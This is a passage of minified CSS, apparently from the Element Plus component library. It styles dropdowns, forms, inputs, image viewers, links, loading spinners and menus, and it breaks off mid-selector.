.btt{transform:translateY(100%)}.el-dropdown{--el-dropdown-menu-box-shadow:var(--el-box-shadow-light);--el-dropdown-menuItem-hover-fill:var(--el-color-primary-light-9);--el-dropdown-menuItem-hover-color:var(--el-color-primary);--el-dropdown-menu-index:10;color:var(--el-text-color-regular);display:inline-flex;font-size:var(--el-font-size-base);line-height:1;position:relative;vertical-align:top}.el-dropdown.is-disabled{color:var(--el-text-color-placeholder);cursor:not-allowed}.el-dropdown__popper{--el-dropdown-menu-box-shadow:var(--el-box-shadow-light);--el-dropdown-menuItem-hover-fill:var(--el-color-primary-light-9);--el-dropdown-menuItem-hover-color:var(--el-color-primary);--el-dropdown-menu-index:10}.el-dropdown__popper.el-popper{background:var(--el-bg-color-overlay);border:1px solid var(--el-border-color-light);box-shadow:var(--el-dropdown-menu-box-shadow)}.el-dropdown__popper.el-popper .el-popper__arrow:before{border:1px solid var(--el-border-color-light)}.el-dropdown__popper.el-popper[data-popper-placement^=top] .el-popper__arrow:before{border-left-color:transparent;border-top-color:transparent}.el-dropdown__popper.el-popper[data-popper-placement^=bottom] .el-popper__arrow:before{border-bottom-color:transparent;border-right-color:transparent}.el-dropdown__popper.el-popper[data-popper-placement^=left] .el-popper__arrow:before{border-bottom-color:transparent;border-left-color:transparent}.el-dropdown__popper.el-popper[data-popper-placement^=right] .el-popper__arrow:before{border-right-color:transparent;border-top-color:transparent}.el-dropdown__popper .el-dropdown-menu{border:none}.el-dropdown__popper .el-dropdown__popper-selfdefine{outline:none}.el-dropdown__popper .el-scrollbar__bar{z-index:calc(var(--el-dropdown-menu-index) + 1)}.el-dropdown__popper .el-dropdown__list{box-sizing:border-box;list-style:none;margin:0;padding:0}.el-dropdown .el-dropdown__caret-button{align-items:center;border-left:none;display:inline-flex;justify-content:center;padding-left:0;padding-right:0;width:32px}.el-dropdown .el-dropdown__caret-button>span{display:inline-flex}.el-dropdown .el-dropdown__caret-button:before{background:var(--el-overlay-color-lighter);bottom:-1px;content:"";display:block;left:0;position:absolute;top:-1px;width:1px}.el-dropdown .el-dropdown__caret-button.el-button:before{background:var(--el-border-color);opacity:.5}.el-dropdown .el-dropdown__caret-button .el-dropdown__icon{font-size:inherit;padding-left:0}.el-dropdown .el-dropdown-selfdefine{outline:none}.el-dropdown--large .el-dropdown__caret-button{width:40px}.el-dropdown--small .el-dropdown__caret-button{width:24px}.el-dropdown-menu{background-color:var(--el-bg-color-overlay);border:none;border-radius:var(--el-border-radius-base);box-shadow:none;left:0;list-style:none;margin:0;padding:5px 0;position:relative;top:0;z-index:var(--el-dropdown-menu-index)}.el-dropdown-menu__item{align-items:center;color:var(--el-text-color-regular);cursor:pointer;display:flex;font-size:var(--el-font-size-base);line-height:22px;list-style:none;margin:0;outline:none;padding:5px 16px;white-space:nowrap}.el-dropdown-menu__item:not(.is-disabled):focus{background-color:var(--el-dropdown-menuItem-hover-fill);color:var(--el-dropdown-menuItem-hover-color)}.el-dropdown-menu__item i{margin-right:5px}.el-dropdown-menu__item--divided{border-top:1px solid var(--el-border-color-lighter);margin:6px 0}.el-dropdown-menu__item.is-disabled{color:var(--el-text-color-disabled);cursor:not-allowed}.el-dropdown-menu--large{padding:7px 0}.el-dropdown-menu--large .el-dropdown-menu__item{font-size:14px;line-height:22px;padding:7px 20px}.el-dropdown-menu--large .el-dropdown-menu__item--divided{margin:8px 0}.el-dropdown-menu--small{padding:3px 0}.el-dropdown-menu--small .el-dropdown-menu__item{font-size:12px;line-height:20px;padding:2px 12px}.el-dropdown-menu--small .el-dropdown-menu__item--divided{margin:4px 0}.el-empty{--el-empty-padding:40px 0;--el-empty-image-width:160px;--el-empty-description-margin-top:20px;--el-empty-bottom-margin-top:20px;--el-empty-fill-color-0:var(--el-color-white);--el-empty-fill-color-1:#fcfcfd;--el-empty-fill-color-2:#f8f9fb;--el-empty-fill-color-3:#f7f8fc;--el-empty-fill-color-4:#eeeff3;--el-empty-fill-color-5:#edeef2;--el-empty-fill-color-6:#e9ebef;--el-empty-fill-color-7:#e5e7e9;--el-empty-fill-color-8:#e0e3e9;--el-empty-fill-color-9:#d5d7de;align-items:center;box-sizing:border-box;display:flex;flex-direction:column;justify-content:center;padding:var(--el-empty-padding);text-align:center}.el-empty__image{width:var(--el-empty-image-width)}.el-empty__image img{height:100%;-o-object-fit:contain;object-fit:contain;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;vertical-align:top;width:100%}.el-empty__image svg{color:var(--el-svg-monochrome-grey);fill:currentColor;height:100%;vertical-align:top;width:100%}.el-empty__description{margin-top:var(--el-empty-description-margin-top)}.el-empty__description p{color:var(--el-text-color-secondary);font-size:var(--el-font-size-base);margin:0}.el-empty__bottom{margin-top:var(--el-empty-bottom-margin-top)}.el-footer{--el-footer-padding:0 20px;--el-footer-height:60px;box-sizing:border-box;flex-shrink:0;height:var(--el-footer-height);padding:var(--el-footer-padding)}.el-form{--el-form-label-font-size:var(--el-font-size-base);--el-form-inline-content-width:220px}.el-form--label-left .el-form-item__label{justify-content:flex-start}.el-form--label-top .el-form-item{display:block}.el-form--label-top .el-form-item .el-form-item__label{display:block;height:auto;line-height:22px;margin-bottom:8px;text-align:left}.el-form--inline .el-form-item{display:inline-flex;margin-right:32px;vertical-align:middle}.el-form--inline.el-form--label-top{display:flex;flex-wrap:wrap}.el-form--inline.el-form--label-top .el-form-item{display:block}.el-form--large.el-form--label-top .el-form-item .el-form-item__label{line-height:22px;margin-bottom:12px}.el-form--default.el-form--label-top .el-form-item .el-form-item__label{line-height:22px;margin-bottom:8px}.el-form--small.el-form--label-top .el-form-item .el-form-item__label{line-height:20px;margin-bottom:4px}.el-form-item{display:flex;--font-size:14px;margin-bottom:18px}.el-form-item .el-form-item{margin-bottom:0}.el-form-item .el-input__validateIcon{display:none}.el-form-item--large{--font-size:14px;--el-form-label-font-size:var(--font-size);margin-bottom:22px}.el-form-item--large .el-form-item__label{height:40px;line-height:40px}.el-form-item--large .el-form-item__content{line-height:40px}.el-form-item--large .el-form-item__error{padding-top:4px}.el-form-item--default{--font-size:14px;--el-form-label-font-size:var(--font-size);margin-bottom:18px}.el-form-item--default .el-form-item__label{height:32px;line-height:32px}.el-form-item--default .el-form-item__content{line-height:32px}.el-form-item--default .el-form-item__error{padding-top:2px}.el-form-item--small{--font-size:12px;--el-form-label-font-size:var(--font-size);margin-bottom:18px}.el-form-item--small .el-form-item__label{height:24px;line-height:24px}.el-form-item--small .el-form-item__content{line-height:24px}.el-form-item--small .el-form-item__error{padding-top:2px}.el-form-item__label-wrap{display:flex}.el-form-item__label{align-items:flex-start;box-sizing:border-box;color:var(--el-text-color-regular);display:inline-flex;flex:0 0 auto;font-size:var(--el-form-label-font-size);height:32px;justify-content:flex-end;line-height:32px;padding:0 12px 0 0}.el-form-item__content{align-items:center;display:flex;flex:1;flex-wrap:wrap;font-size:var(--font-size);line-height:32px;min-width:0;position:relative}.el-form-item__content .el-input-group{vertical-align:top}.el-form-item__error{color:var(--el-color-danger);font-size:12px;left:0;line-height:1;padding-top:2px;position:absolute;top:100%}.el-form-item__error--inline{display:inline-block;left:auto;margin-left:10px;position:relative;top:auto}.el-form-item.is-required:not(.is-no-asterisk).asterisk-left>.el-form-item__label-wrap>.el-form-item__label:before,.el-form-item.is-required:not(.is-no-asterisk).asterisk-left>.el-form-item__label:before{color:var(--el-color-danger);content:"*";margin-right:4px}.el-form-item.is-required:not(.is-no-asterisk).asterisk-right>.el-form-item__label-wrap>.el-form-item__label:after,.el-form-item.is-required:not(.is-no-asterisk).asterisk-right>.el-form-item__label:after{color:var(--el-color-danger);content:"*";margin-left:4px}.el-form-item.is-error .el-input__wrapper,.el-form-item.is-error .el-input__wrapper.is-focus,.el-form-item.is-error .el-input__wrapper:focus,.el-form-item.is-error .el-input__wrapper:hover,.el-form-item.is-error .el-select__wrapper,.el-form-item.is-error .el-select__wrapper.is-focus,.el-form-item.is-error .el-select__wrapper:focus,.el-form-item.is-error .el-select__wrapper:hover,.el-form-item.is-error .el-textarea__inner,.el-form-item.is-error .el-textarea__inner.is-focus,.el-form-item.is-error .el-textarea__inner:focus,.el-form-item.is-error .el-textarea__inner:hover{box-shadow:0 0 0 1px var(--el-color-danger) inset}.el-form-item.is-error .el-input-group__append .el-input__wrapper,.el-form-item.is-error .el-input-group__prepend .el-input__wrapper{box-shadow:inset 0 0 0 1px transparent}.el-form-item.is-error .el-input__validateIcon{color:var(--el-color-danger)}.el-form-item--feedback .el-input__validateIcon{display:inline-flex}.el-header{--el-header-padding:0 20px;--el-header-height:60px;box-sizing:border-box;flex-shrink:0;height:var(--el-header-height);padding:var(--el-header-padding)}.el-image-viewer__wrapper{bottom:0;left:0;position:fixed;right:0;top:0}.el-image-viewer__btn{align-items:center;border-radius:50%;box-sizing:border-box;cursor:pointer;display:flex;justify-content:center;opacity:.8;position:absolute;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;z-index:1}.el-image-viewer__btn .el-icon{cursor:pointer;font-size:inherit}.el-image-viewer__close{font-size:40px;height:40px;right:40px;top:40px;width:40px}.el-image-viewer__canvas{align-items:center;display:flex;height:100%;justify-content:center;position:static;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:100%}.el-image-viewer__actions{background-color:var(--el-text-color-regular);border-color:#fff;border-radius:22px;bottom:30px;height:44px;left:50%;padding:0 23px;transform:translate(-50%);width:282px}.el-image-viewer__actions__inner{align-items:center;color:#fff;cursor:default;display:flex;font-size:23px;height:100%;justify-content:space-around;width:100%}.el-image-viewer__prev{left:40px}.el-image-viewer__next,.el-image-viewer__prev{background-color:var(--el-text-color-regular);border-color:#fff;color:#fff;font-size:24px;height:44px;top:50%;transform:translateY(-50%);width:44px}.el-image-viewer__next{right:40px;text-indent:2px}.el-image-viewer__close{background-color:var(--el-text-color-regular);border-color:#fff;color:#fff;font-size:24px;height:44px;width:44px}.el-image-viewer__mask{background:#000;height:100%;left:0;opacity:.5;position:absolute;top:0;width:100%}.viewer-fade-enter-active{-webkit-animation:viewer-fade-in var(--el-transition-duration);animation:viewer-fade-in var(--el-transition-duration)}.viewer-fade-leave-active{-webkit-animation:viewer-fade-out var(--el-transition-duration);animation:viewer-fade-out var(--el-transition-duration)}@-webkit-keyframes viewer-fade-in{0%{opacity:0;transform:translate3d(0,-20px,0)}to{opacity:1;transform:translateZ(0)}}@keyframes viewer-fade-in{0%{opacity:0;transform:translate3d(0,-20px,0)}to{opacity:1;transform:translateZ(0)}}@-webkit-keyframes viewer-fade-out{0%{opacity:1;transform:translateZ(0)}to{opacity:0;transform:translate3d(0,-20px,0)}}@keyframes viewer-fade-out{0%{opacity:1;transform:translateZ(0)}to{opacity:0;transform:translate3d(0,-20px,0)}}.el-image__error,.el-image__inner,.el-image__placeholder,.el-image__wrapper{height:100%;width:100%}.el-image{display:inline-block;overflow:hidden;position:relative}.el-image__inner{opacity:1;vertical-align:top}.el-image__inner.is-loading{opacity:0}.el-image__wrapper{left:0;position:absolute;top:0}.el-image__error,.el-image__placeholder{background:var(--el-fill-color-light)}.el-image__error{align-items:center;color:var(--el-text-color-placeholder);display:flex;font-size:14px;justify-content:center;vertical-align:middle}.el-image__preview{cursor:pointer}.el-input-number{display:inline-flex;line-height:30px;position:relative;width:150px}.el-input-number .el-input__wrapper{padding-left:42px;padding-right:42px}.el-input-number .el-input__inner{-webkit-appearance:none;-moz-appearance:textfield;line-height:1;text-align:center}.el-input-number .el-input__inner::-webkit-inner-spin-button,.el-input-number .el-input__inner::-webkit-outer-spin-button{-webkit-appearance:none;margin:0}.el-input-number__decrease,.el-input-number__increase{align-items:center;background:var(--el-fill-color-light);bottom:1px;color:var(--el-text-color-regular);cursor:pointer;display:flex;font-size:13px;height:auto;justify-content:center;position:absolute;top:1px;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;width:32px;z-index:1}.el-input-number__decrease:hover,.el-input-number__increase:hover{color:var(--el-color-primary)}.el-input-number__decrease:hover~.el-input:not(.is-disabled) .el-input__wrapper,.el-input-number__increase:hover~.el-input:not(.is-disabled) .el-input__wrapper{box-shadow:0 0 0 1px var(--el-input-focus-border-color,var(--el-color-primary)) inset}.el-input-number__decrease.is-disabled,.el-input-number__increase.is-disabled{color:var(--el-disabled-text-color);cursor:not-allowed}.el-input-number__increase{border-left:var(--el-border);border-radius:0 var(--el-border-radius-base) var(--el-border-radius-base) 0;right:1px}.el-input-number__decrease{border-radius:var(--el-border-radius-base) 0 0 var(--el-border-radius-base);border-right:var(--el-border);left:1px}.el-input-number.is-disabled .el-input-number__decrease,.el-input-number.is-disabled .el-input-number__increase{border-color:var(--el-disabled-border-color);color:var(--el-disabled-border-color)}.el-input-number.is-disabled .el-input-number__decrease:hover,.el-input-number.is-disabled .el-input-number__increase:hover{color:var(--el-disabled-border-color);cursor:not-allowed}.el-input-number--large{line-height:38px;width:180px}.el-input-number--large .el-input-number__decrease,.el-input-number--large .el-input-number__increase{font-size:14px;width:40px}.el-input-number--large .el-input__wrapper{padding-left:47px;padding-right:47px}.el-input-number--small{line-height:22px;width:120px}.el-input-number--small .el-input-number__decrease,.el-input-number--small .el-input-number__increase{font-size:12px;width:24px}.el-input-number--small .el-input__wrapper{padding-left:31px;padding-right:31px}.el-input-number--small .el-input-number__decrease [class*=el-icon],.el-input-number--small .el-input-number__increase [class*=el-icon]{transform:scale(.9)}.el-input-number.is-without-controls .el-input__wrapper{padding-left:15px;padding-right:15px}.el-input-number.is-controls-right .el-input__wrapper{padding-left:15px;padding-right:42px}.el-input-number.is-controls-right .el-input-number__decrease,.el-input-number.is-controls-right .el-input-number__increase{--el-input-number-controls-height:15px;height:var(--el-input-number-controls-height);line-height:var(--el-input-number-controls-height)}.el-input-number.is-controls-right .el-input-number__decrease [class*=el-icon],.el-input-number.is-controls-right .el-input-number__increase [class*=el-icon]{transform:scale(.8)}.el-input-number.is-controls-right .el-input-number__increase{border-bottom:var(--el-border);border-radius:0 var(--el-border-radius-base) 0 0;bottom:auto;left:auto}.el-input-number.is-controls-right .el-input-number__decrease{border-left:var(--el-border);border-radius:0 0 var(--el-border-radius-base) 0;border-right:none;left:auto;right:1px;top:auto}.el-input-number.is-controls-right[class*=large] [class*=decrease],.el-input-number.is-controls-right[class*=large] [class*=increase]{--el-input-number-controls-height:19px}.el-input-number.is-controls-right[class*=small] [class*=decrease],.el-input-number.is-controls-right[class*=small] [class*=increase]{--el-input-number-controls-height:11px}.el-textarea{--el-input-text-color:var(--el-text-color-regular);--el-input-border:var(--el-border);--el-input-hover-border:var(--el-border-color-hover);--el-input-focus-border:var(--el-color-primary);--el-input-transparent-border:0 0 0 1px transparent inset;--el-input-border-color:var(--el-border-color);--el-input-border-radius:var(--el-border-radius-base);--el-input-bg-color:var(--el-fill-color-blank);--el-input-icon-color:var(--el-text-color-placeholder);--el-input-placeholder-color:var(--el-text-color-placeholder);--el-input-hover-border-color:var(--el-border-color-hover);--el-input-clear-hover-color:var(--el-text-color-secondary);--el-input-focus-border-color:var(--el-color-primary);--el-input-width:100%;display:inline-block;font-size:var(--el-font-size-base);position:relative;vertical-align:bottom;width:100%}.el-textarea__inner{-webkit-appearance:none;background-color:var(--el-input-bg-color,var(--el-fill-color-blank));background-image:none;border:none;border-radius:var(--el-input-border-radius,var(--el-border-radius-base));box-shadow:0 0 0 1px var(--el-input-border-color,var(--el-border-color)) inset;box-sizing:border-box;color:var(--el-input-text-color,var(--el-text-color-regular));display:block;font-family:inherit;font-size:inherit;line-height:1.5;padding:5px 11px;position:relative;resize:vertical;transition:var(--el-transition-box-shadow);width:100%}.el-textarea__inner::-moz-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-textarea__inner:-ms-input-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-textarea__inner::placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-textarea__inner:hover{box-shadow:0 0 0 1px var(--el-input-hover-border-color) inset}.el-textarea__inner:focus{box-shadow:0 0 0 1px var(--el-input-focus-border-color) inset;outline:none}.el-textarea .el-input__count{background:var(--el-fill-color-blank);bottom:5px;color:var(--el-color-info);font-size:12px;line-height:14px;position:absolute;right:10px}.el-textarea.is-disabled .el-textarea__inner{background-color:var(--el-disabled-bg-color);box-shadow:0 0 0 1px var(--el-disabled-border-color) inset;color:var(--el-disabled-text-color);cursor:not-allowed}.el-textarea.is-disabled .el-textarea__inner::-moz-placeholder{color:var(--el-text-color-placeholder)}.el-textarea.is-disabled .el-textarea__inner:-ms-input-placeholder{color:var(--el-text-color-placeholder)}.el-textarea.is-disabled .el-textarea__inner::placeholder{color:var(--el-text-color-placeholder)}.el-textarea.is-exceed .el-textarea__inner{box-shadow:0 0 0 1px var(--el-color-danger) inset}.el-textarea.is-exceed .el-input__count{color:var(--el-color-danger)}.el-input{--el-input-text-color:var(--el-text-color-regular);--el-input-border:var(--el-border);--el-input-hover-border:var(--el-border-color-hover);--el-input-focus-border:var(--el-color-primary);--el-input-transparent-border:0 0 0 1px transparent inset;--el-input-border-color:var(--el-border-color);--el-input-border-radius:var(--el-border-radius-base);--el-input-bg-color:var(--el-fill-color-blank);--el-input-icon-color:var(--el-text-color-placeholder);--el-input-placeholder-color:var(--el-text-color-placeholder);--el-input-hover-border-color:var(--el-border-color-hover);--el-input-clear-hover-color:var(--el-text-color-secondary);--el-input-focus-border-color:var(--el-color-primary);--el-input-width:100%;--el-input-height:var(--el-component-size);box-sizing:border-box;display:inline-flex;font-size:var(--el-font-size-base);line-height:var(--el-input-height);position:relative;vertical-align:middle;width:var(--el-input-width)}.el-input::-webkit-scrollbar{width:6px;z-index:11}.el-input::-webkit-scrollbar:horizontal{height:6px}.el-input::-webkit-scrollbar-thumb{background:var(--el-text-color-disabled);border-radius:5px;width:6px}.el-input::-webkit-scrollbar-corner,.el-input::-webkit-scrollbar-track{background:var(--el-fill-color-blank)}.el-input::-webkit-scrollbar-track-piece{background:var(--el-fill-color-blank);width:6px}.el-input .el-input__clear,.el-input .el-input__password{color:var(--el-input-icon-color);cursor:pointer;font-size:14px}.el-input .el-input__clear:hover,.el-input .el-input__password:hover{color:var(--el-input-clear-hover-color)}.el-input .el-input__count{align-items:center;color:var(--el-color-info);display:inline-flex;font-size:12px;height:100%}.el-input .el-input__count .el-input__count-inner{background:var(--el-fill-color-blank);display:inline-block;line-height:normal;padding-left:8px}.el-input__wrapper{align-items:center;background-color:var(--el-input-bg-color,var(--el-fill-color-blank));background-image:none;border-radius:var(--el-input-border-radius,var(--el-border-radius-base));box-shadow:0 0 0 1px var(--el-input-border-color,var(--el-border-color)) inset;cursor:text;display:inline-flex;flex-grow:1;justify-content:center;padding:1px 11px;transform:translateZ(0);transition:var(--el-transition-box-shadow)}.el-input__wrapper:hover{box-shadow:0 0 0 1px var(--el-input-hover-border-color) inset}.el-input__wrapper.is-focus{box-shadow:0 0 0 1px var(--el-input-focus-border-color) inset}.el-input__inner{--el-input-inner-height:calc(var(--el-input-height, 32px) - 2px);-webkit-appearance:none;background:none;border:none;box-sizing:border-box;color:var(--el-input-text-color,var(--el-text-color-regular));flex-grow:1;font-size:inherit;height:var(--el-input-inner-height);line-height:var(--el-input-inner-height);outline:none;padding:0;width:100%}.el-input__inner:focus{outline:none}.el-input__inner::-moz-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-input__inner:-ms-input-placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-input__inner::placeholder{color:var(--el-input-placeholder-color,var(--el-text-color-placeholder))}.el-input__inner[type=password]::-ms-reveal{display:none}.el-input__inner[type=number]{line-height:1}.el-input__prefix{color:var(--el-input-icon-color,var(--el-text-color-placeholder));display:inline-flex;flex-shrink:0;flex-wrap:nowrap;height:100%;pointer-events:none;text-align:center;transition:all var(--el-transition-duration);white-space:nowrap}.el-input__prefix-inner{align-items:center;display:inline-flex;justify-content:center;pointer-events:all}.el-input__prefix-inner>:last-child{margin-right:8px}.el-input__prefix-inner>:first-child,.el-input__prefix-inner>:first-child.el-input__icon{margin-left:0}.el-input__suffix{color:var(--el-input-icon-color,var(--el-text-color-placeholder));display:inline-flex;flex-shrink:0;flex-wrap:nowrap;height:100%;pointer-events:none;text-align:center;transition:all var(--el-transition-duration);white-space:nowrap}.el-input__suffix-inner{align-items:center;display:inline-flex;justify-content:center;pointer-events:all}.el-input__suffix-inner>:first-child{margin-left:8px}.el-input .el-input__icon{align-items:center;display:flex;height:inherit;justify-content:center;line-height:inherit;margin-left:8px;transition:all var(--el-transition-duration)}.el-input__validateIcon{pointer-events:none}.el-input.is-active .el-input__wrapper{box-shadow:0 0 0 1px var(--el-input-focus-color, ) inset}.el-input.is-disabled{cursor:not-allowed}.el-input.is-disabled .el-input__wrapper{background-color:var(--el-disabled-bg-color);box-shadow:0 0 0 1px var(--el-disabled-border-color) inset}.el-input.is-disabled .el-input__inner{color:var(--el-disabled-text-color);-webkit-text-fill-color:var(--el-disabled-text-color);cursor:not-allowed}.el-input.is-disabled .el-input__inner::-moz-placeholder{color:var(--el-text-color-placeholder)}.el-input.is-disabled .el-input__inner:-ms-input-placeholder{color:var(--el-text-color-placeholder)}.el-input.is-disabled .el-input__inner::placeholder{color:var(--el-text-color-placeholder)}.el-input.is-disabled .el-input__icon{cursor:not-allowed}.el-input.is-exceed .el-input__wrapper{box-shadow:0 0 0 1px var(--el-color-danger) inset}.el-input.is-exceed .el-input__suffix .el-input__count{color:var(--el-color-danger)}.el-input--large{--el-input-height:var(--el-component-size-large);font-size:14px}.el-input--large .el-input__wrapper{padding:1px 15px}.el-input--large .el-input__inner{--el-input-inner-height:calc(var(--el-input-height, 40px) - 2px)}.el-input--small{--el-input-height:var(--el-component-size-small);font-size:12px}.el-input--small .el-input__wrapper{padding:1px 7px}.el-input--small .el-input__inner{--el-input-inner-height:calc(var(--el-input-height, 24px) - 2px)}.el-input-group{align-items:stretch;display:inline-flex;width:100%}.el-input-group__append,.el-input-group__prepend{align-items:center;background-color:var(--el-fill-color-light);border-radius:var(--el-input-border-radius);color:var(--el-color-info);display:inline-flex;justify-content:center;min-height:100%;padding:0 20px;position:relative;white-space:nowrap}.el-input-group__append:focus,.el-input-group__prepend:focus{outline:none}.el-input-group__append .el-button,.el-input-group__append .el-select,.el-input-group__prepend .el-button,.el-input-group__prepend .el-select{display:inline-block;margin:0 -20px}.el-input-group__append button.el-button,.el-input-group__append button.el-button:hover,.el-input-group__append div.el-select .el-select__wrapper,.el-input-group__append div.el-select:hover .el-select__wrapper,.el-input-group__prepend button.el-button,.el-input-group__prepend button.el-button:hover,.el-input-group__prepend div.el-select .el-select__wrapper,.el-input-group__prepend div.el-select:hover .el-select__wrapper{background-color:transparent;border-color:transparent;color:inherit}.el-input-group__append .el-button,.el-input-group__append .el-input,.el-input-group__prepend .el-button,.el-input-group__prepend .el-input{font-size:inherit}.el-input-group__prepend{border-bottom-right-radius:0;border-right:0;border-top-right-radius:0;box-shadow:1px 0 0 0 var(--el-input-border-color) inset,0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset}.el-input-group__append{border-bottom-left-radius:0;border-left:0;border-top-left-radius:0;box-shadow:0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset,-1px 0 0 0 var(--el-input-border-color) inset}.el-input-group--prepend>.el-input__wrapper{border-bottom-left-radius:0;border-top-left-radius:0}.el-input-group--prepend .el-input-group__prepend .el-select .el-select__wrapper{border-bottom-right-radius:0;border-top-right-radius:0;box-shadow:1px 0 0 0 var(--el-input-border-color) inset,0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset}.el-input-group--append>.el-input__wrapper{border-bottom-right-radius:0;border-top-right-radius:0}.el-input-group--append .el-input-group__append .el-select .el-select__wrapper{border-bottom-left-radius:0;border-top-left-radius:0;box-shadow:0 1px 0 0 var(--el-input-border-color) inset,0 -1px 0 0 var(--el-input-border-color) inset,-1px 0 0 0 var(--el-input-border-color) inset}.el-input-hidden{display:none!important}.el-link{--el-link-font-size:var(--el-font-size-base);--el-link-font-weight:var(--el-font-weight-primary);--el-link-text-color:var(--el-text-color-regular);--el-link-hover-text-color:var(--el-color-primary);--el-link-disabled-text-color:var(--el-text-color-placeholder);align-items:center;color:var(--el-link-text-color);cursor:pointer;display:inline-flex;flex-direction:row;font-size:var(--el-link-font-size);font-weight:var(--el-link-font-weight);justify-content:center;outline:none;padding:0;position:relative;text-decoration:none;vertical-align:middle}.el-link:hover{color:var(--el-link-hover-text-color)}.el-link.is-underline:hover:after{border-bottom:1px solid var(--el-link-hover-text-color);bottom:0;content:"";height:0;left:0;position:absolute;right:0}.el-link.is-disabled{color:var(--el-link-disabled-text-color);cursor:not-allowed}.el-link [class*=el-icon-]+span{margin-left:5px}.el-link.el-link--default:after{border-color:var(--el-link-hover-text-color)}.el-link__inner{align-items:center;display:inline-flex;justify-content:center}.el-link.el-link--primary{--el-link-text-color:var(--el-color-primary);--el-link-hover-text-color:var(--el-color-primary-light-3);--el-link-disabled-text-color:var(--el-color-primary-light-5)}.el-link.el-link--primary:after{border-color:var(--el-link-text-color)}.el-link.el-link--primary.is-underline:hover:after{border-color:var(--el-link-text-color)}.el-link.el-link--success{--el-link-text-color:var(--el-color-success);--el-link-hover-text-color:var(--el-color-success-light-3);--el-link-disabled-text-color:var(--el-color-success-light-5)}.el-link.el-link--success:after{border-color:var(--el-link-text-color)}.el-link.el-link--success.is-underline:hover:after{border-color:var(--el-link-text-color)}.el-link.el-link--warning{--el-link-text-color:var(--el-color-warning);--el-link-hover-text-color:var(--el-color-warning-light-3);--el-link-disabled-text-color:var(--el-color-warning-light-5)}.el-link.el-link--warning:after{border-color:var(--el-link-text-color)}.el-link.el-link--warning.is-underline:hover:after{border-color:var(--el-link-text-color)}.el-link.el-link--danger{--el-link-text-color:var(--el-color-danger);--el-link-hover-text-color:var(--el-color-danger-light-3);--el-link-disabled-text-color:var(--el-color-danger-light-5)}.el-link.el-link--danger:after{border-color:var(--el-link-text-color)}.el-link.el-link--danger.is-underline:hover:after{border-color:var(--el-link-text-color)}.el-link.el-link--error{--el-link-text-color:var(--el-color-error);--el-link-hover-text-color:var(--el-color-error-light-3);--el-link-disabled-text-color:var(--el-color-error-light-5)}.el-link.el-link--error:after{border-color:var(--el-link-text-color)}.el-link.el-link--error.is-underline:hover:after{border-color:var(--el-link-text-color)}.el-link.el-link--info{--el-link-text-color:var(--el-color-info);--el-link-hover-text-color:var(--el-color-info-light-3);--el-link-disabled-text-color:var(--el-color-info-light-5)}.el-link.el-link--info:after{border-color:var(--el-link-text-color)}.el-link.el-link--info.is-underline:hover:after{border-color:var(--el-link-text-color)}:root{--el-loading-spinner-size:42px;--el-loading-fullscreen-spinner-size:50px}.el-loading-parent--relative{position:relative!important}.el-loading-parent--hidden{overflow:hidden!important}.el-loading-mask{background-color:var(--el-mask-color);bottom:0;left:0;margin:0;position:absolute;right:0;top:0;transition:opacity var(--el-transition-duration);z-index:2000}.el-loading-mask.is-fullscreen{position:fixed}.el-loading-mask.is-fullscreen .el-loading-spinner{margin-top:calc((0px - var(--el-loading-fullscreen-spinner-size))/2)}.el-loading-mask.is-fullscreen .el-loading-spinner .circular{height:var(--el-loading-fullscreen-spinner-size);width:var(--el-loading-fullscreen-spinner-size)}.el-loading-spinner{margin-top:calc((0px - var(--el-loading-spinner-size))/2);position:absolute;text-align:center;top:50%;width:100%}.el-loading-spinner .el-loading-text{color:var(--el-color-primary);font-size:14px;margin:3px 0}.el-loading-spinner .circular{-webkit-animation:loading-rotate 2s linear infinite;animation:loading-rotate 2s linear infinite;display:inline;height:var(--el-loading-spinner-size);width:var(--el-loading-spinner-size)}.el-loading-spinner .path{-webkit-animation:loading-dash 1.5s ease-in-out infinite;animation:loading-dash 1.5s ease-in-out infinite;stroke-dasharray:90,150;stroke-dashoffset:0;stroke-width:2;stroke:var(--el-color-primary);stroke-linecap:round}.el-loading-spinner i{color:var(--el-color-primary)}.el-loading-fade-enter-from,.el-loading-fade-leave-to{opacity:0}@-webkit-keyframes loading-rotate{to{transform:rotate(1turn)}}@keyframes loading-rotate{to{transform:rotate(1turn)}}@-webkit-keyframes loading-dash{0%{stroke-dasharray:1,200;stroke-dashoffset:0}50%{stroke-dasharray:90,150;stroke-dashoffset:-40px}to{stroke-dasharray:90,150;stroke-dashoffset:-120px}}@keyframes loading-dash{0%{stroke-dasharray:1,200;stroke-dashoffset:0}50%{stroke-dasharray:90,150;stroke-dashoffset:-40px}to{stroke-dasharray:90,150;stroke-dashoffset:-120px}}.el-main{--el-main-padding:20px;box-sizing:border-box;display:block;flex:1;flex-basis:auto;overflow:auto;padding:var(--el-main-padding)}:root{--el-menu-active-color:var(--el-color-primary);--el-menu-text-color:var(--el-text-color-primary);--el-menu-hover-text-color:var(--el-color-primary);--el-menu-bg-color:var(--el-fill-color-blank);--el-menu-hover-bg-color:var(--el-color-primary-light-9);--el-menu-item-height:56px;--el-menu-sub-item-height:calc(var(--el-menu-item-height) - 6px);--el-menu-horizontal-height:60px;--el-menu-horizontal-sub-item-height:36px;--el-menu-item-font-size:var(--el-font-size-base);--el-menu-item-hover-fill:var(--el-color-primary-light-9);--el-menu-border-color:var(--el-border-color);--el-menu-base-level-padding:20px;--el-menu-level-padding:20px;--el-menu-icon-width:24px}.el-menu{background-color:var(--el-menu-bg-color);border-right:1px solid var(--el-menu-border-color);box-sizing:border-box;list-style:none;margin:0;padding-left:0;position:relative}.el-menu--vertical:not(.el-menu--collapse):not(.el-menu--popup-container) 